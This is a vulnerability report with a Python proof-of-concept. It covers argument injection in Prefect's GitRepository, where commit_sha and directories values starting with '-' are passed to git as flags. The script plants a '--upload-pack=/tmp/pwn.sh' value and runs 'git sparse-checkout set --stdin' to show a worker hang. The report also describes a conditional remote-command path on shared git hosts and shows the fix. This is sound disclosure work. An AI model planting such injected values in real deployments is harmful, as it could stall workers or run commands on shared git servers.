

## Instantly share code, notes, and snippets.

nedlir / **REPORT.md** Secret

Created 2 weeks ago

[Code](#) [Revisions](#) 1 **poc.py**

```
1 """
2 PoC: Prefect GitRepository argument injection via commit_sha / directories.
3 Affected: 3.x < 3.6.25 (fix PR #21384).
4
5 The vulnerable constructor accepts values that start with '-' and forwards them
6 to `git` as positional argv, where they are reparsed as flags.
7
8 Usage:
9     pip install 'prefect==3.6.24' # vulnerable
10     python poc.py
11
12     pip install 'prefect>=3.6.25' # patched
13     python poc.py                # step 1 raises ValueError
14 """
15
16 import os
17 import shutil
18 import subprocess
19 import sys
20 import tempfile
21 from pathlib import Path
22
23 from prefect.runner.storage import GitRepository
24
25
26 MALICIOUS_COMMIT_SHA = "--upload-pack=/tmp/pwn.sh"
27 MALICIOUS_DIRECTORIES = ["--stdin"]
28
29
30 def step1_constructor() -> GitRepository | None:
31     """Does the constructor accept malicious input?"""
32     try:
33         repo = GitRepository(
34             url="https://github.com/example/repo.git",
35             commit_sha=MALICIOUS_COMMIT_SHA,
```

```
36         directories=MALICIOUS_DIRECTORIES,
37     )
38     except ValueError as e:
39         print(f"[PATCHED] Constructor rejected malicious input: {e}")
40         return None
41     print("[VULN] Constructor accepted malicious commit_sha and directories.")
42     print(f"        repo._commit_sha = {repo._commit_sha!r}")
43     print(f"        repo._directories = {repo._directories!r}")
44     return repo
45
46
47 def step2_show_argv(repo: GitRepository) -> None:
48     """What argv would actually be handed to git?"""
49     cmds = [
50         ["git", "rev-parse", repo._commit_sha],
51         ["git", "fetch", "origin", repo._commit_sha],
52         ["git", "checkout", repo._commit_sha],
53         ["git", "sparse-checkout", "set", *repo._directories],
54     ]
55     print("\n[argv] Commands that would be executed (pre-patch, no '--' separator):")
56     for c in cmds:
57         print(f"        {c}")
58
59
60 def step3_dos_with_stdin() -> None:
61     """Prove `directories=['--stdin']` hangs git sparse-checkout."""
62     if shutil.which("git") is None:
63         print("\n[skip] git binary not on PATH; skipping DoS demo.")
64         return
65
66     work = Path(tempfile.mkdtemp(prefix="prefect-argi-"))
67     try:
68         subprocess.run(["git", "init", "-q", str(work)], check=True)
69         subprocess.run(
70             ["git", "-C", str(work), "commit", "--allow-empty", "-q", "-m", "init"],
71             check=True,
72             env={**os.environ,
73                 "GIT_AUTHOR_NAME": "x", "GIT_AUTHOR_EMAIL": "x@x",
74                 "GIT_COMMITTER_NAME": "x", "GIT_COMMITTER_EMAIL": "x@x"},
75         )
76     print("\n[dos] Running: git sparse-checkout set --stdin (with no stdin)")
77     proc = subprocess.Popen(
78         ["git", "sparse-checkout", "set", "--stdin"],
79         cwd=work,
80         stdin=subprocess.DEVNULL,
81         stdout=subprocess.DEVNULL,
82         stderr=subprocess.DEVNULL,
83     )
84     try:
```

```

85         rc = proc.wait(timeout=3)
86         print(f"[dos] exited rc={rc} (not a hang on this git version)")
87     except subprocess.TimeoutExpired:
88         proc.kill()
89         proc.wait()
90         print("[dos] Child still running after 3s -> confirmed DoS primitive.")
91     finally:
92         shutil.rmtree(work, ignore_errors=True)
93
94
95 def main() -> int:
96     import prefect
97     print(f"prefect version: {prefect.__version__}\n")
98
99     repo = step1_constructor()
100    if repo is None:
101        return 0
102    step2_show_argv(repo)
103    step3_dos_with_stdin()
104    return 0
105
106
107 if __name__ == "__main__":
108     sys.exit(main())

```

 [REPORT.md](#)

# Prefect Git Argument Injection in `GitRepository` Pull Steps

Field	Value
<b>Product</b>	Prefect (PrefectHQ/prefect)
<b>Affected</b>	3.x < 3.6.25
<b>Fixed In</b>	3.6.25
<b>Fix Commit</b>	<code>6a9d991871</code> ( <a href="#">PR #21384</a> )
<b>CVE</b>	None assigned
<b>CWE</b>	CWE-88 (Argument Injection), CWE-20 (Improper Input Validation)
<b>CVSS 3.1</b>	4.8 Medium -- <code>AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L</code>

## Bug

---

`GitRepository.__init__` accepts `commit_sha` and `directories` from deployment pull-step configuration and forwards them verbatim to `subprocess` calls against the `git` binary. Neither parameter is validated before it reaches the subprocess arg list.

Pre-fix, the relevant call sites in `src/prefect/runner/storage.py` are:

```
await run_process(["git", "rev-parse", self._commit_sha], cwd=self.destination)
await run_process(["git", "fetch", "origin", self._commit_sha], cwd=self.destination)
await run_process(["git", "checkout", self._commit_sha], cwd=self.destination)
await run_process(["git", "sparse-checkout", "set", *self._directories], cwd=self.destination)
```

`commit_sha` and each entry of `directories` are placed as positional argv after the git subcommand with no `--` separator and no input shape validation. A value that starts with `-` is therefore interpreted as a git option, not as the intended ref or path.

## Attack surface

---

Both parameters are reachable from:

- `prefect.yaml` pull steps:  
`prefect.deployments.steps.git_clone(commit_sha=..., directories=...)`
- Deployment `pull_steps` set via the API
- Direct use of `prefect.runner.storage.GitRepository(...)` in user code

The values execute on the **worker** that pulls the deployment (not on the server). Any actor who can set or modify pull-step config for a deployment the worker executes can inject git flags.

## What the injection actually buys an attacker

---

1. **DoS (reliable, no preconditions)**. A directory entry of `--stdin` causes `git sparse-checkout set --stdin` to block on stdin indefinitely. The worker process stalls on the pull step, starving the work pool.

- 2. Refspec-flag injection on fetch (reliable).** `commit_sha = "--upload-pack=cmd"` is parsed by `git fetch origin --upload-pack=cmd`. The `--upload-pack` flag takes effect when the `origin` transport is SSH, causing the SSH server to spawn `cmd`. If the attacker *also* controls `repository` (same config scope), this is just an RCE on their own server -- useless. If the attacker controls only `commit_sha` on a deployment whose `repository` points at a shared SSH-accessible git host (self-hosted GitLab/Gitea/Gogs), it is a pre-auth RCE primitive against that host **subject to the host honoring a client-supplied `--upload-pack` path**, which most hardened installs disable.
- 3. Local behavior modification.** Flags like `--force`, `--detach`, `--orphan` on `git checkout`, and `--cone / --no-cone` on `sparse-checkout set`, can silently change the state of the worker's working tree. Low impact on its own.
- 4. No immediate local RCE** via `commit_sha` or `directories` alone. `git checkout` and `git fetch` do not expose a local code-execution flag the attacker can set here. The patch is defense-in-depth; it is not closing a trivially weaponizable local RCE.

This is why the CVSS is 4.8, not high. The bug is a genuine argument-injection primitive reachable from user input, but the exploitation ceiling is DoS + conditional remote-server RCE, not local worker RCE.

## Control boundary

---

The interesting case is deployment configs edited by a principal **other** than the one who set `repository`. Examples:

- CI/CD system templates `repository` from a trusted source but pipes `commit_sha` from a PR title / issue body / branch name.
- Prefect UI/API allows a user with deployment-edit permission but not repo-edit permission to change `commit_sha` (Prefect's default RBAC does not split these; this matters for custom-role setups).

Where `repository` and `commit_sha` share the same trust boundary, the bug adds no privilege the attacker did not already have (they could just point `repository` at an evil repo).

## Proof

---

See `poc.py`. It:

1. Instantiates `GitRepository(commit_sha="--upload-pack=/tmp/pwn", directories=["--stdin"])` and shows the constructor accepts it.
2. Prints the exact argv list that would be handed to `subprocess` for each git invocation.
3. Actually invokes `git sparse-checkout set --stdin` in a scratch repo and demonstrates the DoS (the child hangs on stdin until killed).
4. On a patched Prefect ( $\geq 3.6.25$ ), re-runs step 1 and shows `ValueError` from the constructor.

## Reproduction

```
pip install 'prefect==3.6.24' # vulnerable
python poc.py
```

Then:

```
pip install 'prefect>=3.6.25' # patched
python poc.py # step 1 now raises ValueError
```

No Prefect server or Docker required; the bug is entirely in the worker-side `GitRepository` class.

## Fix (3.6.25)

PR #21384 adds two guards in `GitRepository.__init__`:

```
if commit_sha and not re.match(r"^[0-9a-fA-F]{4,64}$", commit_sha):
    raise ValueError(
        f"Invalid commit SHA: {commit_sha!r}. "
        "Expected a hexadecimal Git commit SHA (4-64 characters). ..."
    )

if directories:
    for d in directories:
        if d.startswith("--"):
            warnings.warn(
                f"Directory {d!r} starts with '--' and will be interpreted as "
                "UserWarning, stacklevel=2,
            )
```

and adds `--` as an end-of-options marker on the sparse-checkout call:

```
await run_process(  
    ["git", "sparse-checkout", "set", "--", *self._directories],  
    cwd=self.destination,  
)
```

Note the asymmetry: `commit_sha` is hard-rejected (regex), `directories` only gets a warning plus the `--` separator. The warning is soft -- a caller that ignores it still gets entries starting with `--`, but they are now treated as literal paths (not flags) because of the `--` separator.

## Timeline

---

Date	Event
2026-04-02	Fix merged (PR #21384)
2026-04-07	3.6.25 released